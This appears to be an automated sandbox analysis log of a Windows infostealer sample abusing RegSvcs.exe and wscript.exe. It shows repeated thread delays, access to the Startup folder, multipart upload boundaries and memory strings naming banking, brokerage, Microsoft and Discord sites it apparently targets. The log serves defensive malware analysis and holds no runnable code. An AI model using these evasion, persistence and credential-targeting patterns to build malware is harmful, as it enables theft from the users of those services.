Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596610	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596485	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596360	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596235	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596085	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595966	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595824	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595704	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595579	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595454	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595329	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595204	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595079	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594954	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594829	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594704	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594579	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594454	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594329	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594204	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594079	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 593966	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599890	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599780	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599671	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599562	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599453	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599343	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599234	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599125	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599015	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598906	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598796	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598687	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598578	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598468	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598355	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598250	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598140	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598030	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597921	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597812	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597672	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597562	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597453	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597343	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597234	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597125	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597015	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596905	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596797	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596684	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596578	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596468	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596359	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596250	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596140	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596031	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595922	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595812	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595703	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595593	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595484	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595375	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595265	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595156	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595047	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594937	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594828	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594718	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594598	Jump to behavior

Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\	Jump to behavior

Source: RegSvcs.exe, 00000006.00000002.4540335552.0000000003AC5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: RegSvcs.exe, 00000003.00000002.4537810663.0000000002C77000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dce690e0867cd4
Source: RegSvcs.exe, 00000006.00000002.4538128302.00000000027D0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dcd9daf8508ec0
Source: RegSvcs.exe, 00000006.00000002.4538128302.0000000002B66000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dcf87acb7f0612<
Source: RegSvcs.exe, 00000006.00000002.4540335552.0000000003AC5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: RegSvcs.exe, 00000003.00000002.4537810663.0000000002C77000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dcda0e47642328
Source: RegSvcs.exe, 00000003.00000002.4537810663.0000000002C77000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dcda2a11e28f03
Source: RegSvcs.exe, 00000006.00000002.4538128302.00000000027D0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dce43bdbce8cfe
Source: RegSvcs.exe, 00000003.00000002.4537810663.0000000002C77000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dcd9f34a734345
Source: RegSvcs.exe, 00000006.00000002.4538128302.00000000027D0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dce39b9b85919c
Source: RegSvcs.exe, 00000006.00000002.4540335552.0000000003AC5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: RegSvcs.exe, 00000006.00000002.4540335552.0000000003AC5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655
Source: RegSvcs.exe, 00000003.00000002.4537810663.0000000002D82000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dcef90c1a97496
Source: RegSvcs.exe, 00000006.00000002.4540335552.0000000003AC5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: RegSvcs.exe, 00000006.00000002.4538128302.0000000002AF4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dd02f8244d88eb<
Source: RegSvcs.exe, 00000006.00000002.4538128302.0000000002924000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dcf5262a282ce3
Source: RegSvcs.exe, 00000006.00000002.4540335552.00000000037A6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: RegSvcs.exe, 00000006.00000002.4540335552.00000000037A6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: RegSvcs.exe, 00000006.00000002.4538128302.0000000002D44000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dcf98f7b2e35ed<
Source: RegSvcs.exe, 00000006.00000002.4538128302.00000000027D0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dcdab98bdf9072
Source: RegSvcs.exe, 00000006.00000002.4540335552.00000000037A6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: RegSvcs.exe, 00000003.00000002.4537810663.0000000002F3B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dcf9f7d1a9f0d8
Source: RegSvcs.exe, 00000006.00000002.4540335552.0000000003AC5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: RegSvcs.exe, 00000003.00000002.4537810663.0000000002C77000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dcda7b752d16fc
Source: RegSvcs.exe, 00000006.00000002.4538128302.0000000002924000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dcf68d694733eb
Source: RegSvcs.exe, 00000003.00000002.4537810663.0000000002F5D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dd091525bd2ff7<
Source: RegSvcs.exe, 00000003.00000002.4537810663.0000000002C77000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dcdee3d2d3270d
Source: RegSvcs.exe, 00000006.00000002.4538128302.00000000027D0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dcde35e0cc7c14
Source: RegSvcs.exe, 00000006.00000002.4538128302.0000000002ADD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dcfed4e660b567
Source: RegSvcs.exe, 00000003.00000002.4537810663.0000000002D82000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dce833a5cad7e1
Source: RegSvcs.exe, 00000006.00000002.4538128302.00000000027D0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dcd9c6eb4b45c9LR]q
Source: RegSvcs.exe, 00000006.00000002.4540335552.00000000037A6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: RegSvcs.exe, 00000006.00000002.4538128302.0000000002ADD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dcf98f7b2e35ed
Source: RegSvcs.exe, 00000003.00000002.4537810663.0000000002C77000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dcdb6b0f853274
Source: RegSvcs.exe, 00000006.00000002.4538128302.0000000002D44000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dcfa10ca850f14<
Source: RegSvcs.exe, 00000003.00000002.4537810663.0000000002F3B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dcfc29d9a5caca
Source: RegSvcs.exe, 00000006.00000002.4540335552.00000000037A6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: RegSvcs.exe, 00000003.00000002.4537810663.0000000002D82000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dcf2cc95a004ba
Source: RegSvcs.exe, 00000006.00000002.4538128302.0000000002D44000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dcfed4e660b567<
Source: RegSvcs.exe, 00000003.00000002.4537810663.0000000002F5D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dd01771edfcbec<
Source: RegSvcs.exe, 00000003.00000002.4537810663.0000000002C77000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dce2c4fd9d50bb
Source: RegSvcs.exe, 00000006.00000002.4540335552.0000000003AC5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: RegSvcs.exe, 00000006.00000002.4540335552.0000000003AC5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: RegSvcs.exe, 00000003.00000002.4537810663.0000000003157000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dcf9f7d1a9f0d8<
Source: RegSvcs.exe, 00000003.00000002.4537810663.0000000002C77000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dcdab15e90aa9c
Source: RegSvcs.exe, 00000003.00000002.4537810663.0000000002F5D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dd065e266dc598<
Source: RegSvcs.exe, 00000006.00000002.4540335552.0000000003AC5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: RegSvcs.exe, 00000006.00000002.4538128302.00000000027D0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dcdf23b64c0193
Source: RegSvcs.exe, 00000006.00000002.4538128302.0000000002924000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dcf5efb3c6be30
Source: RegSvcs.exe, 00000003.00000002.4537810663.0000000002C77000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dcdbdd55c06625
Source: RegSvcs.exe, 00000006.00000002.4540335552.00000000037A6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: RegSvcs.exe, 00000003.00000002.4537810663.0000000002FF5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dd0b324555a5aa<
Source: RegSvcs.exe, 00000006.00000002.4540335552.00000000037A6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: RegSvcs.exe, 00000006.00000002.4540335552.00000000037A6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: RegSvcs.exe, 00000006.00000002.4538128302.0000000002924000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dced6e233a01b3
Source: RegSvcs.exe, 00000006.00000002.4538128302.0000000002924000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dceb3e4c93a34e
Source: RegSvcs.exe, 00000006.00000002.4538128302.0000000002B66000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dcf718b1633c98<
Source: RegSvcs.exe, 00000003.00000002.4537810663.0000000002C77000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dcd9d920235f7a
Source: RegSvcs.exe, 00000006.00000002.4540335552.00000000037A6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: RegSvcs.exe, 00000006.00000002.4540335552.00000000037A6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: RegSvcs.exe, 00000006.00000002.4540335552.00000000037A6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: RegSvcs.exe, 00000006.00000002.4540335552.00000000037A6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: RegSvcs.exe, 00000006.00000002.4540335552.0000000003AC5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: RegSvcs.exe, 00000003.00000002.4537810663.0000000002F5D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dd0417862dab04<
Source: RegSvcs.exe, 00000006.00000002.4538128302.00000000027D0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dcdc15e6f642c6
Source: RegSvcs.exe, 00000003.00000002.4537810663.0000000002C77000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dce4554f19dcc3
Source: RegSvcs.exe, 00000006.00000002.4540335552.00000000037A6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: RegSvcs.exe, 00000006.00000002.4538128302.0000000002AF4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dd01e8a511992d<
Source: RegSvcs.exe, 00000006.00000002.4540335552.00000000037A6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: RegSvcs.exe, 00000006.00000002.4540335552.00000000037A6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: RegSvcs.exe, 00000003.00000002.4537810663.0000000003157000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dcf96e2d7c1904<
Source: RegSvcs.exe, 00000006.00000002.4540335552.0000000003AC5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: wscript.exe, 00000004.00000002.2215153509.00000151544C5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\r
Source: RegSvcs.exe, 00000006.00000002.4540335552.0000000003AC5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: RegSvcs.exe, 00000006.00000002.4538128302.0000000002924000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dcf2d6cd89f323
Source: RegSvcs.exe, 00000006.00000002.4538128302.0000000002924000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dcf0c0ffc60fd2
Source: RegSvcs.exe, 00000003.00000002.4537810663.0000000002D82000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dce7aa69158b0e
Source: RegSvcs.exe, 00000006.00000002.4540335552.0000000003AC5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: RegSvcs.exe, 00000006.00000002.4540335552.0000000003AC5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: RegSvcs.exe, 00000006.00000002.4538128302.00000000027D0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dcda7d977e6e0c
Source: RegSvcs.exe, 00000006.00000002.4540335552.0000000003AC5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: RegSvcs.exe, 00000006.00000002.4540335552.00000000037A6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: RegSvcs.exe, 00000006.00000002.4540335552.0000000003AC5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: RegSvcs.exe, 00000003.00000002.4537810663.0000000002C77000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dcd9bb28caf6f0
Source: RegSvcs.exe, 00000006.00000002.4538128302.0000000002924000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dcf87acb7f0612
Source: RegSvcs.exe, 00000006.00000002.4538128302.0000000002AF4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dd00d3dede440f<
Source: RegSvcs.exe, 00000006.00000002.4540335552.00000000037A6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: RegSvcs.exe, 00000006.00000002.4538128302.00000000027D0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dcdb0945efe091
Source: RegSvcs.exe, 00000006.00000002.4538128302.0000000002924000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dceaac99e5fcbf
Source: RegSvcs.exe, 00000003.00000002.4537810663.0000000002F5D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dd04a7c7a5e552<
Source: RegSvcs.exe, 00000006.00000002.4540335552.00000000037A6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: RegSvcs.exe, 00000006.00000002.4540335552.00000000037A6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: RegSvcs.exe, 00000006.00000002.4540335552.00000000037A6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: RegSvcs.exe, 00000006.00000002.4538128302.0000000002ADD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dd002a375df3af<
Source: RegSvcs.exe, 00000003.00000002.4537810663.0000000002D82000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dcf048596588d7
Source: RegSvcs.exe, 00000003.00000002.4537810663.0000000002D82000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dcf0ced33ec182
Source: RegSvcs.exe, 00000006.00000002.4538128302.0000000002B66000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dcf9041216e2b7<
Source: RegSvcs.exe, 00000006.00000002.4540335552.00000000037A6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: RegSvcs.exe, 00000006.00000002.4538128302.00000000027D0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dce64c0780910e
Source: RegSvcs.exe, 00000006.00000002.4540335552.0000000003AC5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: RegSvcs.exe, 00000003.00000002.4537810663.0000000002D82000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dcf6c726581a75
Source: RegSvcs.exe, 00000006.00000002.4538128302.00000000027D0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dcd9f129bc3f60
Source: RegSvcs.exe, 00000006.00000002.4538128302.00000000027D0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dcdf9ea2613703
Source: RegSvcs.exe, 00000006.00000002.4540335552.00000000037A6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: RegSvcs.exe, 00000003.00000002.4537810663.0000000002C77000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dce72aa89fc853
Source: RegSvcs.exe, 00000006.00000002.4540335552.00000000037A6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
